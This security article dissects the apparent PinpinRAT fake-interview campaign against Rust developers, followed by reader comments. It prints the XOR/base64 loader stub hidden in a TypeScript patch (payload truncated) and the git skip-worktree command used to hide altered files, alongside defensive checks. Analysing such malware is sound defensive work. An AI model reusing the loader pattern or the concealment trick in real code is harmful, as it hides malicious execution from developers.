Inside PinpinRAT: How APTs Hijack Developer Build Pipelines
A failed social engineering attack on a crates.io maintainer reveals highly stealthy local execution techniques.
The developer workstation is the ultimate prize for modern state-sponsored threat actors. Compromising a production server gives an attacker access to a single company. Compromising the laptop of an open-source maintainer, however, can grant access to thousands of downstream environments.
A recent, highly targeted campaign against developers in the Rust community highlights this shift. The attack, which deployed a previously undocumented remote-access trojan (RAT) dubbed "PinpinRAT," used a combination of social engineering and sophisticated build-time execution tricks to bypass security controls. By examining the anatomy of this failed intrusion, developers and security engineers can learn how to defend their local environments against advanced persistent threats (APTs).
The Social Engineering Hook
Nation-state actors frequently exploit trusted relationships and human vulnerabilities to establish long-term access, often repurposing legitimate documents or code to make their bait appealing. In this campaign, the attacker used a highly targeted fake-interview scam aimed at backdooring the machines of developers who publish packages on crates.io.
The attack began with an email from a fabricated persona claiming to be from Lua Ventures, a defunct Singapore-based venture capital firm in the decentralized finance (DeFi) space. The attacker went to great lengths to establish credibility, linking to a legitimate-looking LinkedIn profile and name-dropping two real, early-stage companies (Lyrasing and Roadpay) that were supposedly looking for advisory work.
After an initial video call with a man speaking with a German accent, the attacker sent a follow-up email containing a coding test. The test was packaged as a TypeScript repository named "Ticket Harbor," themed as a ferry-ticketing application. The repository included a task.txt file with a plausible set of tasks, ending with a critical instruction: run the repository's typecheck, test suite, and build commands before submitting.
This instruction was the trigger for the execution chain.
The Build-Time Execution Chain
When developers clone a repository for a coding test, they often run install and build commands without auditing the codebase. The Ticket Harbor repository exploited this habit by hiding its payload inside a routine TypeScript patch file.
The repository used patch-package, a common utility that allows developers to make and keep persistent modifications to node modules. While the root package.json had no obvious preinstall or postinstall hooks, the repository contained an unusually high number of directories under patches/ to create noise, including patches for sumchecker, @electron/get, and extract-zip.
The actual payload was hidden inside patches/typescript+5.9.2.patch. This patch injected a self-executing, obfuscated JavaScript stub at the very top of both _tsc.js and typescript.js:
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor";
This loader decodes a base64-encoded string, performs a bitwise XOR decryption on every byte using the key 73, and executes the resulting code.
Instead of using eval(), which is heavily monitored by modern endpoint detection and response (EDR) agents, the stub passed the decrypted string to new Function(...). Because this stub was injected into the core TypeScript compiler files, the payload executed automatically the moment the developer ran npm run typecheck, npm run build, or any command that imported TypeScript.
Stealth, Steganography, and Anti-Forensics
Once the JavaScript loader executed, it initiated a multi-stage process designed to evade detection and clean up its tracks:
- Steganography: The loader read a hidden chunk appended to an image file named
operators/3.png. This payload-laden image did not trigger any antivirus engines on VirusTotal. - WebAssembly Execution: The loader executed a small WebAssembly stub embedded in a custom
wAsmchunk within the image file. - Second-Stage Payload: The WebAssembly stub spawned a detached, silent Node.js process carrying a 1.68 MB obfuscated second-stage payload, which established the PinpinRAT remote-access connection.
- Self-Deletion: To prevent forensic analysis, the dropper immediately rewrote the TypeScript patch file to delete its own injected lines after the first execution. Additionally, the second-stage temporary directory self-deleted upon execution.
Perhaps the most clever anti-forensics technique used was the manipulation of Git. The repository's installation scripts ran the following command on the malicious patch files:
git update-index --skip-worktree <file>
This command tells Git to ignore any local modifications to the specified files. Even though the patch files had been modified to execute malware, running git status would show a completely clean working directory, preventing the developer from noticing that files had been altered during the build process.
How Developers Can Defend Their Local Environments
This attack demonstrates that traditional security boundaries are insufficient when developers run untrusted code locally. To defend against these tactics, developers must adopt stricter isolation practices.
1. Detect Hidden Git Modifications
Because the skip-worktree and assume-unchanged flags can hide malicious modifications from git status, developers should periodically audit their repositories for hidden changes. You can list all files with these flags enabled by running:
git ls-files -v | grep -E "^[a-z]"
In the output of git ls-files -v, files marked with a lowercase letter (such as S for skip-worktree or h for assume-unchanged) indicate that Git is ignoring local changes. If any unexpected files appear in this list, inspect them immediately.
2. Isolate Untrusted Codebases
Never run install, build, or test commands for untrusted repositories directly on your host operating system. Treat coding tests, third-party libraries, and open-source contributions as untrusted execution threats.
Use containerized development environments, such as Docker or development containers, to isolate the build process. For maximum security, run untrusted repositories inside an ephemeral, non-persistent virtual machine that has no access to your host filesystem, SSH keys, or local network.
3. Audit Patch Files and Lifecycle Scripts
Before running npm install or yarn in a new repository, inspect the package.json for lifecycle scripts (preinstall, postinstall, prepare). If the project uses patch-package, manually inspect the contents of the patches/ directory. Look for large base64 blobs, unusual XOR operations, or modifications to core compiler tools like TypeScript or Babel.
The New Baseline for Supply Chain Attacks
Historically, nation-state actors relied on highly complex, zero-day exploits like Stuxnet to infiltrate secure networks. Today, they frequently use simpler, highly effective social engineering tactics coupled with build-tool manipulation.
By targeting individual developers through plausible job interviews and advisory offers, attackers can bypass enterprise perimeters entirely. The PinpinRAT campaign proves that the developer's local machine is now a primary target in the software supply chain. Treating every untrusted repository as a potential malware dropper is no longer paranoid, it is a baseline requirement for modern software development.
Sources & further reading
- Anatomy of a Failed (Nation-State?) Attack — grack.com
- The anatomy of a nation-state hack attack - BBC News — bbc.com
- The Nation-State Nightmare: A Haunting Encounter with Advanced Persistent Threats - Securonix — securonix.com
- Why Nation-States Are The New Benchmark In Cyber Security — northwave-cybersecurity.com
Ji-ho covers the increasingly tangled overlap between cloud architecture and security, drawing on a background as a penetration tester to keep his reporting grounded in real-world attack paths. He never lets a vendor claim go unquestioned and insists that every buzzword come with a proof of concept.
Discussion 5
i'm not surprised they're targeting dev workstations, we used to call this 'getting to the source' back in the 90s, and it's still just as effective - securing the build pipeline is key, been saying that for years
@greybeard_unix yeah getting to the source is still the ultimate goal, but what's crazy is how pinpinrat uses build-time execution tricks to fly under the radar - securing the pipeline is one thing, but how do we even detect this stuff when it's hiding in our own build processes?
@night_owl_nina exactly, been thinking about this, need to audit my own build scripts
@greybeard_unix, yeah, getting to the source is still the name of the game, and it's crazy how little some things have changed - i'm still maintaining systems from back then and the principles are the same, just the tools and techniques that keep evolving, still pays the bills though
@legacy_larry, that's a great point about the principles remaining the same, but what caught my eye in this article is how the attackers are now focusing on build pipelines - it's not just about getting to the source code anymore, but also about manipulating the build process itself, which adds a whole new layer of complexity to securing our systems